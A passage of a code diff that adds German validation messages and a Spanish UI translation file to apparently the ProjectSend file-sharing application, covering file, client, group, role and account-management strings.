:date sein.', + 'between' => [ + 'array' => ':Attribute muss zwischen :min & :max Elemente haben.', + 'file' => ':Attribute muss zwischen :min & :max Kilobytes groß sein.', + 'numeric' => ':Attribute muss zwischen :min & :max liegen.', + 'string' => ':Attribute muss zwischen :min & :max Zeichen lang sein.', + ], + 'boolean' => ':Attribute muss entweder \'true\' oder \'false\' sein.', + 'can' => 'Das Feld :attribute enthält einen nicht autorisierten Wert.', + 'confirmed' => ':Attribute stimmt nicht mit der Bestätigung überein.', + 'contains' => 'Dem Feld :attribute fehlt ein erforderlicher Wert.', + 'current_password' => 'Das Passwort ist falsch.', + 'date' => ':Attribute muss ein gültiges Datum sein.', + 'date_equals' => ':Attribute muss ein Datum gleich :date sein.', + 'date_format' => ':Attribute entspricht nicht dem gültigen Format für :format.', + 'decimal' => 'Die :attribute muss :decimal Dezimalstellen haben.', + 'declined' => ':Attribute muss abgelehnt werden.', + 'declined_if' => ':Attribute muss abgelehnt werden wenn :other :value ist.', + 'different' => ':Attribute und :other müssen sich unterscheiden.', + 'digits' => ':Attribute muss :digits Stellen haben.', + 'digits_between' => ':Attribute muss zwischen :min und :max Stellen haben.', + 'dimensions' => ':Attribute hat ungültige Bildabmessungen.', + 'distinct' => ':Attribute beinhaltet einen bereits vorhandenen Wert.', + 'doesnt_contain' => ':Attribute darf keines der folgenden enthalten: :values.', + 'doesnt_end_with' => ':Attribute darf nicht mit einem der folgenden enden: :values.', + 'doesnt_start_with' => ':Attribute darf nicht mit einem der folgenden beginnen: :values.', + 'email' => ':Attribute muss eine gültige E-Mail-Adresse sein.', + 'encoding' => ':Attribute muss als :encoding kodiert sein.', + 'ends_with' => ':Attribute muss eine der folgenden Endungen aufweisen: :values', + 'enum' => 'Der ausgewählte Wert ist ungültig.', + 'exists' => 'Der gewählte Wert für :attribute ist ungültig.', + 'extensions' => 'Das Feld :attribute muss eine der folgenden Erweiterungen haben: :values.', + 'file' => ':Attribute muss eine Datei sein.', + 'filled' => ':Attribute muss ausgefüllt sein.', + 'gt' => [ + 'array' => ':Attribute muss mehr als :value Elemente haben.', + 'file' => ':Attribute muss größer als :value Kilobytes sein.', + 'numeric' => ':Attribute muss größer als :value sein.', + 'string' => ':Attribute muss länger als :value Zeichen sein.', + ], + 'gte' => [ + 'array' => ':Attribute muss mindestens :value Elemente haben.', + 'file' => ':Attribute muss größer oder gleich :value Kilobytes sein.', + 'numeric' => ':Attribute muss größer oder gleich :value sein.', + 'string' => ':Attribute muss mindestens :value Zeichen lang sein.', + ], + 'hex_color' => 'Das Feld :attribute muss eine gültige Hexadezimalfarbe sein.', + 'image' => ':Attribute muss ein Bild sein.', + 'in' => 'Der gewählte Wert für :attribute ist ungültig.', + 'in_array' => 'Der gewählte Wert für :attribute kommt nicht in :other vor.', + 'in_array_keys' => 'Das Feld :Attribute muss mindestens einen der folgenden Schlüssel enthalten: :Values.', + 'integer' => ':Attribute muss eine ganze Zahl sein.', + 'ip' => ':Attribute muss eine gültige IP-Adresse sein.', + 'ipv4' => ':Attribute muss eine gültige IPv4-Adresse sein.', + 'ipv6' => ':Attribute muss eine gültige IPv6-Adresse sein.', + 'json' => ':Attribute muss ein gültiger JSON-String sein.', + 'list' => ':Attribute muss eine Liste sein.', + 'lowercase' => ':Attribute muss in Kleinbuchstaben sein.', + 'lt' => [ + 'array' => ':Attribute muss weniger als :value Elemente haben.', + 'file' => ':Attribute muss kleiner als :value Kilobytes sein.', + 'numeric' => ':Attribute muss kleiner als :value sein.', + 'string' => ':Attribute muss kürzer als :value Zeichen sein.', + ], + 'lte' => [ + 'array' => ':Attribute darf maximal :value Elemente haben.', + 'file' => ':Attribute muss kleiner oder gleich :value Kilobytes sein.', + 'numeric' => ':Attribute muss kleiner oder gleich :value sein.', + 'string' => ':Attribute darf maximal :value Zeichen lang sein.', + ], + 'mac_address' => 'Der Wert muss eine gültige MAC-Adresse sein.', + 'max' => [ + 'array' => ':Attribute darf maximal :max Elemente haben.', + 'file' => ':Attribute darf maximal :max Kilobytes groß sein.', + 'numeric' => ':Attribute darf maximal :max sein.', + 'string' => ':Attribute darf maximal :max Zeichen haben.', + ], + 'max_digits' => ':Attribute darf maximal :max Ziffern lang sein.', + 'mimes' => ':Attribute muss den Dateityp :values haben.', + 'mimetypes' => ':Attribute muss den Dateityp :values haben.', + 'min' => [ + 'array' => ':Attribute muss mindestens :min Elemente haben.', + 'file' => ':Attribute muss mindestens :min Kilobytes groß sein.', + 'numeric' => ':Attribute muss mindestens :min sein.', + 'string' => ':Attribute muss mindestens :min Zeichen lang sein.', + ], + 'min_digits' => ':Attribute muss mindestens :min Ziffern lang sein.', + 'missing' => 'Das Feld :attribute muss fehlen.', + 'missing_if' => 'Das Feld :attribute muss fehlen, wenn :other gleich :value ist.', + 'missing_unless' => 'Das Feld :attribute muss fehlen, es sei denn, :other ist :value.', + 'missing_with' => 'Das Feld :attribute muss fehlen, wenn :values vorhanden ist.', + 'missing_with_all' => 'Das Feld :attribute muss fehlen, wenn :values vorhanden sind.', + 'multiple_of' => ':Attribute muss ein Vielfaches von :value sein.', + 'not_in' => 'Der gewählte Wert für :attribute ist ungültig.', + 'not_regex' => ':Attribute hat ein ungültiges Format.', + 'numeric' => ':Attribute muss eine Zahl sein.', + 'password' => [ + 'letters' => ':Attribute muss mindestens einen Buchstaben beinhalten.', + 'mixed' => ':Attribute muss mindestens einen Großbuchstaben und einen Kleinbuchstaben beinhalten.', + 'numbers' => ':Attribute muss mindestens eine Zahl beinhalten.', + 'symbols' => ':Attribute muss mindestens ein Sonderzeichen beinhalten.', + 'uncompromised' => ':Attribute wurde in einem Datenleck gefunden. Bitte wählen Sie ein anderes :attribute.', + ], + 'present' => ':Attribute muss vorhanden sein.', + 'present_if' => 'Das Feld :attribute muss vorhanden sein, wenn :other gleich :value ist.', + 'present_unless' => 'Das Feld :attribute muss vorhanden sein, es sei denn, :other ist :value.', + 'present_with' => 'Das Feld :attribute muss vorhanden sein, wenn :values vorhanden ist.', + 'present_with_all' => 'Das Feld :attribute muss vorhanden sein, wenn :values vorhanden sind.', + 'prohibited' => ':Attribute ist unzulässig.', + 'prohibited_if' => ':Attribute ist unzulässig, wenn :other :value ist.', + 'prohibited_if_accepted' => 'Das Feld :attribute ist unzulässig, wenn :other gewählt ist.', + 'prohibited_if_declined' => 'Das Feld :attribute ist unzulässig, wenn :other abgelehnt ist.', + 'prohibited_unless' => ':Attribute ist unzulässig, wenn :other nicht :values ist.', + 'prohibits' => ':Attribute verbietet die Angabe von :other.', + 'regex' => ':Attribute Format ist ungültig.', + 'required' => ':Attribute muss ausgefüllt werden.', + 'required_array_keys' => 'Dieses Feld muss Einträge enthalten für: :values.', + 'required_if' => ':Attribute muss ausgefüllt werden, wenn :other den Wert :value hat.', + 'required_if_accepted' => ':Attribute muss ausgefüllt werden, wenn :other gewählt ist.', + 'required_if_declined' => 'Das Feld :attribute ist erforderlich, wenn :other abgelehnt wird.', + 'required_unless' => ':Attribute muss ausgefüllt werden, wenn :other nicht den Wert :values hat.', + 'required_with' => ':Attribute muss ausgefüllt werden, wenn :values ausgefüllt wurde.', + 'required_with_all' => ':Attribute muss ausgefüllt werden, wenn :values ausgefüllt wurde.', + 'required_without' => ':Attribute muss ausgefüllt werden, wenn :values nicht ausgefüllt wurde.', + 'required_without_all' => ':Attribute muss ausgefüllt werden, wenn keines der Felder :values ausgefüllt wurde.', + 'same' => ':Attribute und :other müssen übereinstimmen.', + 'size' => [ + 'array' => ':Attribute muss genau :size Elemente haben.', + 'file' => ':Attribute muss :size Kilobyte groß sein.', + 'numeric' => ':Attribute muss gleich :size sein.', + 'string' => ':Attribute muss :size Zeichen lang sein.', + ], + 'starts_with' => ':Attribute muss mit einem der folgenden Anfänge aufweisen: :values', + 'string' => ':Attribute muss ein String sein.', + 'timezone' => ':Attribute muss eine gültige Zeitzone sein.', + 'ulid' => 'Die :attribute muss eine gültige ULID sein.', + 'unique' => ':Attribute ist bereits vergeben.', + 'uploaded' => ':Attribute konnte nicht hochgeladen werden.', + 'uppercase' => ':Attribute muss in Großbuchstaben sein.', + 'url' => ':Attribute muss eine URL sein.', + 'uuid' => ':Attribute muss ein UUID sein.', + 'attributes' => [ + 'address' => 'Adresse', + 'affiliate_url' => 'Affiliate-URL', + 'age' => 'Alter', + 'amount' => 'Höhe', + 'announcement' => 'Bekanntmachung', + 'area' => 'Gebiet', + 'audience_prize' => 'Publikumspreis', + 'audience_winner' => 'Publikumsgewinner', + 'available' => 'Verfügbar', + 'birthday' => 'Geburtstag', + 'body' => 'Körper', + 'city' => 'Stadt', + 'color' => 'Farbe', + 'company' => 'Unternehmen', + 'compilation' => 'Zusammenstellung', + 'concept' => 'Konzept', + 'conditions' => 'Bedingungen', + 'content' => 'Inhalt', + 'contest' => 'Wettbewerb', + 'country' => 'Land', + 'cover' => 'Abdeckung', + 'created_at' => 'Erstellt am', + 'creator' => 'Ersteller', + 'currency' => 'Währung', + 'current_password' => 'Derzeitiges Passwort', + 'customer' => 'Kunde', + 'date' => 'Datum', + 'date_of_birth' => 'Geburtsdatum', + 'dates' => 'Termine', + 'day' => 'Tag', + 'deleted_at' => 'Gelöscht am', + 'description' => 'Beschreibung', + 'display_type' => 'Anzeigetyp', + 'district' => 'Bezirk', + 'duration' => 'Dauer', + 'email' => 'E-Mail-Adresse', + 'excerpt' => 'Auszug', + 'filter' => 'Filter', + 'finished_at' => 'fertig um', + 'first_name' => 'Vorname', + 'gender' => 'Geschlecht', + 'grand_prize' => 'Hauptpreis', + 'group' => 'Gruppe', + 'hour' => 'Stunde', + 'image' => 'Bild', + 'image_desktop' => 'Desktop-Bild', + 'image_main' => 'Hauptbild', + 'image_mobile' => 'mobiles Bild', + 'images' => 'Bilder', + 'is_audience_winner' => 'ist Publikumssieger', + 'is_hidden' => 'ist versteckt', + 'is_subscribed' => 'ist abonniert', + 'is_visible' => 'ist sichtbar', + 'is_winner' => 'ist Gewinner', + 'items' => 'Artikel', + 'key' => 'Schlüssel', + 'last_name' => 'Nachname', + 'lesson' => 'Lektion', + 'line_address_1' => 'Adresszeile 1', + 'line_address_2' => 'Adresszeile 2', + 'login' => 'Anmeldung', + 'message' => 'Nachricht', + 'middle_name' => 'Zweitname', + 'minute' => 'Minute', + 'mobile' => 'Handynummer', + 'month' => 'Monat', + 'name' => 'Name', + 'national_code' => 'Länderkennung', + 'number' => 'Nummer', + 'password' => 'Passwort', + 'password_confirmation' => 'Passwortbestätigung', + 'phone' => 'Telefonnummer', + 'photo' => 'Foto', + 'portfolio' => 'Portfolio', + 'postal_code' => 'Postleitzahl', + 'preview' => 'Vorschau', + 'price' => 'Preis', + 'product_id' => 'Produkt ID', + 'product_uid' => 'Produkt-UID', + 'product_uuid' => 'Produkt-UUID', + 'promo_code' => 'Aktionscode', + 'province' => 'Provinz', + 'quantity' => 'Menge', + 'reason' => 'Grund', + 'recaptcha_response_field' => 'Captcha-Feld', + 'referee' => 'Schiedsrichter', + 'referees' => 'Schiedsrichter', + 'region' => 'Region', + 'reject_reason' => 'Ablehnungsgrund', + 'remember' => 'Erinnern', + 'restored_at' => 'Wiederhergestellt am', + 'result_text_under_image' => 'Ergebnistext unter Bild', + 'role' => 'Rolle', + 'rule' => 'Regel', + 'rules' => 'Regeln', + 'second' => 'Sekunde', + 'sex' => 'Geschlecht', + 'shipment' => 'Sendung', + 'short_text' => 'Kurzer Text', + 'size' => 'Größe', + 'skills' => 'Fähigkeiten', + 'slug' => 'Schnecke', + 'specialization' => 'Spezialisierung', + 'started_at' => 'fing an bei', + 'state' => 'Bundesland', + 'status' => 'Status', + 'street' => 'Straße', + 'student' => 'Schüler/Student', + 'subject' => 'Gegenstand', + 'tag' => 'Etikett', + 'tags' => 'Stichworte', + 'teacher' => 'Lehrer', + 'terms' => 'Bedingungen', + 'test_description' => 'Test Beschreibung', + 'test_locale' => 'Test Region', + 'test_name' => 'Testname', + 'text' => 'Text', + 'time' => 'Uhrzeit', + 'title' => 'Titel', + 'type' => 'Typ', + 'updated_at' => 'Aktualisiert am', + 'user' => 'Benutzer', + 'username' => 'Benutzername', + 'value' => 'Wert', + 'winner' => 'Gewinner', + 'work' => 'Arbeit', + 'year' => 'Jahr', + ], +]; diff --git a/lang/es.json b/lang/es.json new file mode 100644 index 00000000..785c82a4 --- /dev/null +++ b/lang/es.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName subió \":itemName\"", + ":count accounts have this role": ":count cuentas tienen este rol", + ":count awaiting approval": ":count esperando aprobación", + ":count downloads": ":count descargas", + ":count file deleted.|:count files deleted.": ":count archivo eliminado.|:count archivos eliminados.", + ":count file imported.|:count files imported.": ":count archivo importado.|:count archivos importados.", + ":count files": ":count archivos", + ":count folders": ":count carpetas", + ":count items have been shared with you": "Se compartieron :count elementos contigo", + ":count members": ":count miembros", + ":count selected": ":count seleccionados", + ":files files": ":files archivos", + ":itemName was shared with you": ":itemName se compartió contigo", + ":name will not be added to the group \":group\".": ":name no será agregado al grupo \":group\".", + ":total total": ":total en total", + ":used / :limit downloads": ":used / :limit descargas", + ":used MB of :quota MB used": ":used MB de :quota MB usados", + ":used MB used, no limit": ":used MB usados, sin límite", + "(and :count more error)": "(y :count error más)", + "(and :count more errors)": "(y :count error más)|(y :count errores más)|(y :count errores más)", + "(deleted account)": "(cuenta eliminada)", + "0 means unlimited.": "0 significa sin límite.", + "A client account request was approved": "Se aprobó una solicitud de cuenta de cliente", + "A client account request was denied": "Se denegó una solicitud de cuenta de cliente", + "A client left a group": "Un cliente salió de un grupo", + "A client registered an account": "Un cliente registró una cuenta", + "A client requested to join a group": "Un cliente solicitó unirse a un grupo", + "A client uploaded a file": "Un cliente subió un archivo", + "A client was added to a group": "Se agregó un cliente a un grupo", + "A client was removed from a group": "Se quitó un cliente de un grupo", + "A decryption key is required.": "Se requiere una clave de descifrado.", + "A file assignment was removed": "Se quitó una asignación de archivo", + "A file has been shared with you": "Se ha compartido un archivo contigo", + "A file or folder was shared with you": "Se compartió un archivo o carpeta contigo", + "A file was assigned": "Se asignó un archivo", + "A file was deleted": "Se eliminó un archivo", + "A file was downloaded": "Se descargó un archivo", + "A file was downloaded via a public link": "Se descargó un archivo mediante un enlace público", + "A file was downloaded via the public group listing": "Se descargó un archivo mediante el listado público de grupos", + "A file was updated": "Se actualizó un archivo", + "A file was uploaded": "Se subió un archivo", + "A folder cannot be moved into itself.": "Una carpeta no puede moverse dentro de sí misma.", + "A folder has been shared with you": "Se ha compartido una carpeta contigo", + "A folder was created": "Se creó una carpeta", + "A folder was deleted": "Se eliminó una carpeta", + "A folder was moved": "Se movió una carpeta", + "A folder was renamed": "Se renombró una carpeta", + "A folder was shared": "Se compartió una carpeta", + "A folder was unshared": "Se dejó de compartir una carpeta", + "A group membership request was approved": "Se aprobó una solicitud de membresía de grupo", + "A group membership request was denied": "Se denegó una solicitud de membresía de grupo", + "A group membership was requested": "Se solicitó una membresía de grupo", + "A group was created": "Se creó un grupo", + "A group was deleted": "Se eliminó un grupo", + "A group was updated": "Se actualizó un grupo", + "A new client account was created: :name (:email).": "Se creó una nueva cuenta de cliente: :name (:email).", + "A new client has registered": "Un nuevo cliente se ha registrado", + "A new ProjectSend version is available": "Hay una nueva versión de ProjectSend disponible", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "La página de un grupo público siempre es accesible por su propio enlace una vez que lo marcás como público — esta sección solo controla la URL base y un directorio opcional que lista todos los grupos y archivos públicos a la vez.", + "A public link was created": "Se creó un enlace público", + "A public link was revoked": "Se revocó un enlace público", + "A role was created": "Se creó un rol", + "A role was deleted": "Se eliminó un rol", + "A role was updated": "Se actualizó un rol", + "A Timeout Occurred": "Se produjo un tiempo de espera", + "About": "Acerca de", + "Accept": "Aceptar", + "Accepted": "Aceptado", + "Account": "Cuenta", + "Account deletion grace period (days)": "Período de gracia para la eliminación de cuentas (días)", + "Account is active": "La cuenta está activa", + "Account Manager": "Gestor de cuentas", + "Account request approved.": "Solicitud de cuenta aprobada.", + "Account request denied.": "Solicitud de cuenta rechazada.", + "Account requests": "Solicitudes de cuenta", + "Account settings": "Configuración de la cuenta", + "Account type": "Tipo de cuenta", + "Accounts": "Cuentas", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Las cuentas alcanzadas por este requisito deberán configurar la autenticación de dos factores antes de poder seguir usando la aplicación.", + "Action": "Acción", + "Actions": "Acciones", + "Activate": "Activar", + "Activated the account \":subject\"": "Activó la cuenta \":subject\"", + "Activating this account approves its pending request.": "Activar esta cuenta aprueba su solicitud pendiente.", + "Active": "Activa", + "Activity": "Actividad", + "Activity log": "Registro de actividad", + "Add": "Añadir", + "Add :name": "Agregar :name", + "Add a category": "Agregar una categoría", + "Add a client": "Agregar un cliente", + "Add a second step to your login using an authenticator app.": "Agrega un segundo paso a tu inicio de sesión usando una aplicación de autenticación.", + "Add new clients to this group": "Agregar nuevos clientes a este grupo", + "Added \":member\" to the group \":subject\"": "Agregó a \":member\" al grupo \":subject\"", + "Admin": "Administrar", + "Admin notification recipients": "Destinatarios de notificaciones para administradores", + "Admin: client uploaded a file": "Administrador: un cliente subió un archivo", + "Admin: group membership requested": "Administrador: se solicitó membresía a un grupo", + "Admin: new client registered": "Administrador: nuevo cliente registrado", + "Administration": "Administración", + "After uploading you can assign it to clients and groups": "Después de subirlo podrás asignarlo a clientes y grupos", + "Agree": "Aceptar", + "All": "Todos", + "All actions": "Todas las acciones", + "All categories": "Todas las categorías", + "All clients": "Todos los clientes", + "All comments": "Todos los comentarios", + "All failed jobs deleted.": "Se eliminaron todos los trabajos fallidos.", + "All files": "Todos los archivos", + "All groups": "Todos los grupos", + "All permissions": "Todos los permisos", + "All rights reserved.": "Todos los derechos reservados.", + "All roles": "Todos los roles", + "All statuses": "Todos los estados", + "All system users": "Todos los usuarios del sistema", + "All types": "Todos los tipos", + "Already have an account?": "¿Ya tienes una cuenta?", + "Already Reported": "Ya Reportado", + "Always": "Siempre", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Se ha creado una cuenta para ti. Ya puedes iniciar sesión.", + "An account was activated": "Se activó una cuenta", + "An account was created": "Se creó una cuenta", + "An account was deactivated": "Se desactivó una cuenta", + "An account was deleted": "Se eliminó una cuenta", + "An account was permanently erased": "Una cuenta fue eliminada permanentemente", + "An account was updated": "Se actualizó una cuenta", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "A un administrador que elimina una cuenta se le pregunta esto cada vez; el borrado automático de las cuentas que se eliminaron a sí mismas se ejecuta sin supervisión y sigue esta opción, así que nunca queda nada sin dueño.", + "An administrator will review your group requests.": "Un administrador revisará tus solicitudes de grupo.", + "An orphan file was deleted": "Se eliminó un archivo huérfano", + "An orphan file was imported": "Se importó un archivo huérfano", + "An overview of this installation": "Un vistazo general de esta instalación", + "Any audience": "Cualquier audiencia", + "Anyone": "Cualquiera", + "Anyone using it will no longer be able to download the file.": "Quien lo tenga ya no podrá descargar el archivo.", + "Appearance": "Apariencia", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "Se aplica a las páginas públicas de grupos/archivos y al portal de clientes \"Mis archivos\".", + "Apply filters": "Aplicar filtros", + "Approve": "Aprobar", + "Approve account requests": "Aprobar solicitudes de cuenta", + "Approve group membership requests": "Aprobar solicitudes de membresía a grupos", + "Approved the account request of \":subject\"": "Aprobó la solicitud de cuenta de \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Aprobó la membresía de \":member\" al grupo \":subject\"", + "Archive": "Archivar", + "Are deleted along with the account": "Se eliminan junto con la cuenta", + "Are reassigned to another account": "Se reasignan a otra cuenta", + "Are you sure you want to delete your account?": "¿Seguro que quieres eliminar tu cuenta?", + "Assign": "Asignar", + "Assign categories to files": "Asignar categorías a archivos", + "Assigned": "Asignado", + "Assigned clients": "Clientes asignados", + "Assigned the file \":subject\" to :target": "Asignó el archivo \":subject\" a :target", + "Associate": "Asociar", + "Attach": "Adjuntar", + "Audience": "Audiencia", + "Authentication code": "Código de autenticación", + "Authentication requirements for this installation": "Requisitos de autenticación para esta instalación", + "Author": "Autor", + "Available groups": "Grupos disponibles", + "Available placeholders": "Marcadores disponibles", + "Back to My files": "Volver a Mis archivos", + "Bad Gateway": "Mala puerta de enlace", + "Bad Request": "Solicitud incorrecta", + "Bandwidth Limit Exceeded": "Límite de ancho de banda excedido", + "Blue": "Azul", + "Body": "Cuerpo", + "Browse": "Navegar", + "Browse publicly shared groups and files below.": "Explorá los grupos y archivos compartidos públicamente a continuación.", + "Built-in": "Integrado", + "Built-in role names cannot be changed.": "Los nombres de los roles integrados no se pueden cambiar.", + "Built-in roles cannot be deleted.": "Los roles integrados no se pueden eliminar.", + "Call to action": "Llamado a la acción", + "Cancel": "Cancelar", + "Categories": "Categorías", + "Category": "Categoría", + "Category created.": "Categoría creada.", + "Category deleted.": "Categoría eliminada.", + "Category updated.": "Categoría actualizada.", + "Changed their password": "Cambió su contraseña", + "Checkbox": "Casilla de verificación", + "Checksum (SHA-256)": "Suma de verificación (SHA-256)", + "Choose": "Elija", + "Choose :name": "Elegir :name", + "Choose an account…": "Elige una cuenta…", + "Choose File": "Elija archivo", + "Choose Image": "Elegir Imagen", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Elige qué notificaciones también te envían un correo. Todo aparece siempre en la campana de notificaciones.", + "Clear": "Limpiar", + "Click to copy": "Haga clic para copiar", + "Client": "Cliente", + "Client account approved": "Cuenta de cliente aprobada", + "Client account denied": "Cuenta de cliente rechazada", + "Client account edited": "Cuenta de cliente editada", + "Client Closed Request": "Solicitud cerrada del cliente", + "Client created.": "Cliente creado.", + "Client deleted.": "Cliente eliminado.", + "Client Manager": "Gestor de clientes", + "Client settings": "Configuración de clientes", + "Client updated.": "Cliente actualizado.", + "Client welcome (staff-created account)": "Bienvenida de cliente (cuenta creada por el personal)", + "Clients": "Clientes", + "Clients and groups that can download this file": "Clientes y grupos que pueden descargar este archivo", + "Clients asking to join groups": "Clientes que piden unirse a grupos", + "Clients who registered themselves and are waiting for approval": "Clientes que se registraron y esperan aprobación", + "Close": "Cerrar", + "Collapse": "Colapsar", + "Collapse All": "Colapsar todo", + "Color": "Color", + "Columns": "Columnas", + "Comment": "Comentar", + "Confirm": "Confirmar", + "Confirm password": "Confirmar contraseña", + "Conflict": "Conflicto", + "Connect": "Conectar", + "Connection Closed Without Response": "Conexión cerrada sin respuesta", + "Connection Timed Out": "Tiempo de conexión agotado", + "Continue": "Continuar", + "Copy URL": "Copiar URL", + "Copy link": "Copiar enlace", + "Counters": "Contadores", + "Create": "Crear", + "Create :name": "Crear :name", + "Create a client account": "Crear una cuenta de cliente", + "Create a public link": "Crear un enlace público", + "Create a staff account for this installation": "Crear una cuenta de personal para esta instalación", + "Create administrator account": "Crear cuenta de administrador", + "Create an account for someone you share files with": "Crear una cuenta para alguien con quien compartes archivos", + "Create categories": "Crear categorías", + "Create category": "Crear categoría", + "Create client": "Crear cliente", + "Create clients": "Crear clientes", + "Create custom assets": "Crear recursos personalizados", + "Create field": "Crear campo", + "Create folder": "Crear carpeta", + "Create group": "Crear grupo", + "Create groups": "Crear grupos", + "Create link": "Crear enlace", + "Create own folders": "Crear carpetas propias", + "Create role": "Crear rol", + "Create system users": "Crear usuarios del sistema", + "Create user": "Crear usuario", + "Created": "Creado", + "Created a public link for the file \":subject\"": "Creó un enlace público para el archivo \":subject\"", + "Created by": "Creado por", + "Created the account \":subject\"": "Creó la cuenta \":subject\"", + "Created the folder \":subject\"": "Creó la carpeta \":subject\"", + "Created the group \":subject\"": "Creó el grupo \":subject\"", + "Created the role \":subject\"": "Creó el rol \":subject\"", + "Custom": "Personalizado", + "Custom assets": "Recursos personalizados", + "Custom fields": "Campos personalizados", + "Custom links with an optional expiration date or download limit, no account needed.": "Enlaces personalizados con fecha de vencimiento o límite de descargas opcionales, sin necesidad de cuenta.", + "Custom roles let you grant a precise set of permissions": "Los roles personalizados permiten otorgar un conjunto preciso de permisos", + "Custom SMTP": "SMTP personalizado", + "Customize the wording of any transactional email sent by this installation.": "Personaliza el texto de cualquier correo transaccional que envía esta instalación.", + "Customized": "Personalizado", + "Dark": "Oscuro", + "Dashboard": "Panel de control", + "Dashboard widgets": "Widgets del panel de control", + "Data retention and visibility for this installation": "Retención de datos y visibilidad de esta instalación", + "Database": "Base de datos", + "Date": "Fecha", + "Days before a denied membership request can be made again": "Días antes de que una solicitud de membresía rechazada pueda hacerse de nuevo", + "Deactivate your account now; it is permanently erased after :days days": "Desactiva tu cuenta ahora; se elimina permanentemente después de :days días", + "Deactivated the account \":subject\"": "Desactivó la cuenta \":subject\"", + "Default": "Predeterminado", + "Defaults to the file name.": "Por defecto, el nombre del archivo.", + "Delete": "Eliminar", + "Delete :name": "Eliminar :name", + "Delete account": "Eliminar cuenta", + "Delete all": "Eliminar todos", + "Delete all failed": "Eliminar todos los fallidos", + "Delete all failed jobs?": "¿Eliminar todos los trabajos fallidos?", + "Delete categories": "Eliminar categorías", + "Delete category": "Eliminar categoría", + "Delete category?": "¿Eliminar categoría?", + "Delete client": "Eliminar cliente", + "Delete client?": "¿Eliminar el cliente?", + "Delete clients": "Eliminar clientes", + "Delete custom assets": "Eliminar recursos personalizados", + "Delete field": "Eliminar campo", + "Delete field?": "¿Eliminar campo?", + "Delete file": "Eliminar archivo", + "Delete file?": "¿Eliminar el archivo?", + "Delete files": "Eliminar archivos", + "Delete folder": "Eliminar carpeta", + "Delete folder?": "¿Eliminar la carpeta?", + "Delete group": "Eliminar grupo", + "Delete group?": "¿Eliminar el grupo?", + "Delete groups": "Eliminar grupos", + "Delete others' files": "Eliminar archivos de otros", + "Delete own files": "Eliminar archivos propios", + "Delete role": "Eliminar rol", + "Delete role?": "¿Eliminar el rol?", + "Delete selected": "Eliminar seleccionados", + "Delete selected files?": "¿Eliminar los archivos seleccionados?", + "Delete system users": "Eliminar usuarios del sistema", + "Delete this file?": "¿Eliminar este archivo?", + "Delete user": "Eliminar usuario", + "Delete user?": "¿Eliminar el usuario?", + "Deleted account": "Cuenta eliminada", + "Deleted the account \":name\"": "Eliminó la cuenta \":name\"", + "Deleted the file \":name\"": "Eliminó el archivo \":name\"", + "Deleted the folder \":name\" and its contents": "Eliminó la carpeta \":name\" y su contenido", + "Deleted the group \":name\"": "Eliminó el grupo \":name\"", + "Deleted the orphan file \":name\"": "Eliminó el archivo huérfano \":name\"", + "Deleted the role \":name\"": "Eliminó el rol \":name\"", + "Denied the account request of \":name\"": "Denegó la solicitud de cuenta de \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Denegó la membresía de \":member\" al grupo \":subject\"", + "Deny": "Denegar", + "Deny this request?": "¿Denegar esta solicitud?", + "Description": "Descripción", + "Description (optional)": "Descripción (opcional)", + "Detach": "Desvincular", + "Details": "Detalles", + "Disable": "Deshabilitar", + "Disable two-factor authentication?": "¿Desactivar la autenticación de dos factores?", + "Disabled two-factor authentication": "Desactivó la autenticación de dos factores", + "Discard": "Descartar", + "Discourage search engines from indexing this site": "Desalentar que los motores de búsqueda indexen este sitio", + "Dismiss": "Descartar", + "Documentation": "Documentación", + "Don't have an account?": "¿No tienes una cuenta?", + "Done": "Hecho", + "Down": "Abajo", + "Download": "Descargar", + "Download as zip": "Descargar como zip", + "Downloaded the file \":subject\"": "Descargó el archivo \":subject\"", + "Downloaded the file \":subject\" via a public link": "Descargó el archivo \":subject\" mediante un enlace público", + "Downloaded the file \":subject\" via the public group listing": "Descargó el archivo \":subject\" mediante el listado público de grupos", + "Downloads": "Descargas", + "Downloads are never recorded with an IP address.": "Las descargas nunca se registran con una dirección IP.", + "Drag to reorder": "Arrastra para reordenar", + "Drag widgets here": "Arrastra widgets aquí", + "Dropdown": "Lista desplegable", + "Duplicate": "Duplicar", + "Duplicate :name": "Duplicar :name", + "Edit": "Editar", + "Edit :name": "Editar :name", + "Edit categories": "Editar categorías", + "Edit clients": "Editar clientes", + "Edit custom assets": "Editar recursos personalizados", + "Edit email templates": "Editar plantillas de correo", + "Edit groups": "Editar grupos", + "Edit others' files": "Editar archivos de otros", + "Edit own files": "Editar archivos propios", + "Edit system settings": "Editar la configuración del sistema", + "Edit system users": "Editar usuarios del sistema", + "Edit this client account": "Editar esta cuenta de cliente", + "Edit this staff account": "Editar esta cuenta de personal", + "Edition": "Edición", + "Email": "Correo electrónico", + "Email address": "Correo electrónico", + "Email settings": "Configuración de correo electrónico", + "Email template reset to default.": "Plantilla de correo restablecida al valor predeterminado.", + "Email template saved.": "Plantilla de correo guardada.", + "Email templates": "Plantillas de correo", + "Empty file": "Archivo vacío", + "Enable": "Habilitar", + "Enable the public directory page": "Habilitar la página de directorio público", + "Enable two-factor authentication": "Activar la autenticación de dos factores", + "Enabled two-factor authentication": "Activó la autenticación de dos factores", + "Encrypted environment file already exists.": "El archivo de entorno cifrado ya existe.", + "Encrypted environment file not found.": "No se encontró el archivo de entorno cifrado.", + "Encryption": "Cifrado", + "Enter one of your recovery codes.": "Ingresa uno de tus códigos de recuperación.", + "Enter the six-digit code from your authenticator app.": "Ingresa el código de seis dígitos de tu aplicación de autenticación.", + "Enter your email and password below to log in": "Ingresa tu correo electrónico y contraseña para iniciar sesión", + "Environment": "Entorno", + "Environment file already exists.": "El archivo de entorno ya existe.", + "Environment file not found.": "Archivo de entorno no encontrado.", + "errors": "errores", + "Every comment on files you can see, newest first": "Todos los comentarios en archivos que puedes ver, del más reciente al más antiguo", + "Every download records the IP address of whoever downloaded it.": "Cada descarga registra la dirección IP de quien la descargó.", + "Everyone": "Todos", + 